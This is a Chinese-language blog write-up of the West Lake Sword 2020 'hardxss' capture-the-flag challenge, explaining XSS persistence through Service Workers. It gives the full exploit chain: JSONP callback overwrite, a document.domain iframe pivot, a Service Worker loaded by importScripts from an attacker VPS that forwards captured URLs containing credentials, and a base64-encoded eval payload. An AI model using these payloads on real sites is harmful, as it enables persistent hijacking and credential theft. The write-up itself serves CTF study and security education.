xss持久化以及西湖论剑2020hardxss

Service Worker

Service Worker 是 PWA 技术基础之一,使得Web App 离线缓存成为可能,更为后台同步、通知推送等功能提供了思路。而该技术最核心的一个特性就是,Service Worker 工作线程独立于浏览器主线程,并且与当前的浏览器主线程完全隔离,并且可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,故该特性为XSS的持久化实现提供了基础。

不过service worker的安装本身也存在一定的限制,如限制在 HTTPS 下工作并且安装ServiceWorker的脚本需要当前域下。service worker的注册代码如下:

1
navigator.serviceWorker.register('test.js')

ServiceWorker 在运行过程中使用的是Web Worker ,而Web Worker 线程在对象获取上存在限制,如document、DOM、window这样的对象无法获取,但是可以获取location对象、XMLHttpRequest对象等,并且可以通过importScripts()方法加载其他脚本

西湖论剑2020hardxss

xss点

在xss主机下的login的登录界面发现一个jsonp,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

可以看到auto_reg_var()函数存在变量覆盖,故可以将callback变量覆盖掉,且jsonp返回的数据会被当做js代码执行,如?callback=alert(1)既可弹窗,但是存在50个字符的限制,不过可以通过引入外部js或者通过变量覆盖+eval来绕过。

攻击流程

走一下登录流程可以发现账号密码会出现在auth子域名下的url里,故可以获取url来登录admin。从题目描述可知,登录流程发生在管理员访问我们提交的网站之后,故需要xss持久化。由于待获取的url在auth子域名下,所以ServiceWorker的注册过程也得在该域名下进行,而且由于之前提到的安装ServiceWorker的脚本应该与安装代码同域,故我们的攻击流程要同时满足以上两点。

首先要实现通过xss在auth子域名执行js代码。查看auth子域名的源代码我们可以发现:

1
2
3
<script type="text/javascript">
document.domain = "hardxss.xhlj.wetolink.com";
</script>

由于这里设置了document.domain,故我们可以通过iframe实现跨域在auth子域名下执行js,代码如下:

1
2
3
4
5
6
7
8
9
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("xxxx.js")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}

这样就让serviceWorker通过auth域下的xxxx.js完成了安装,接下来就需要在auth域下找一个可控的js文件,方法就是通过这个jsonp的api。安装serviceWorker用的脚本较为复杂,但是可以使用importScripts()方法加载远程脚本,所以只需要执行

1
navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('your_vps/a.js')//")

vps需要能支持https,即可实现serviceWorker的安装。而a.js的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url);
return new Response("<script>location='http://your_vps/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}

可以把所有auth域名下http请求的url发至我们的vps。最终的payloadhttps://xss.hardxss.xhlj.wetolink.com/login?callback=eval(atob(a));//&a=ZG9jdW1lbnQuZG9tYWluID0gImhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOwp2YXIgaWZmID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJyk7CmlmZi5zcmMgPSAnaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vJzsKaWZmLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBmdW5jdGlvbigpeyBpZmZMb2Fkb3ZlcigpOyB9KTsKZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZmYpOwpleHAgPSBgbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoInh4eHguanMiKWA7CmZ1bmN0aW9uIGlmZkxvYWRvdmVyKCl7CiAgICBpZmYuY29udGVudFdpbmRvdy5ldmFsKGV4cCk7Cn0=

文章作者: EVatom
文章链接: http://yoursite.com/2020/10/21/xss%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%A5%E5%8F%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912020hardxss/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 EVatom 's Blog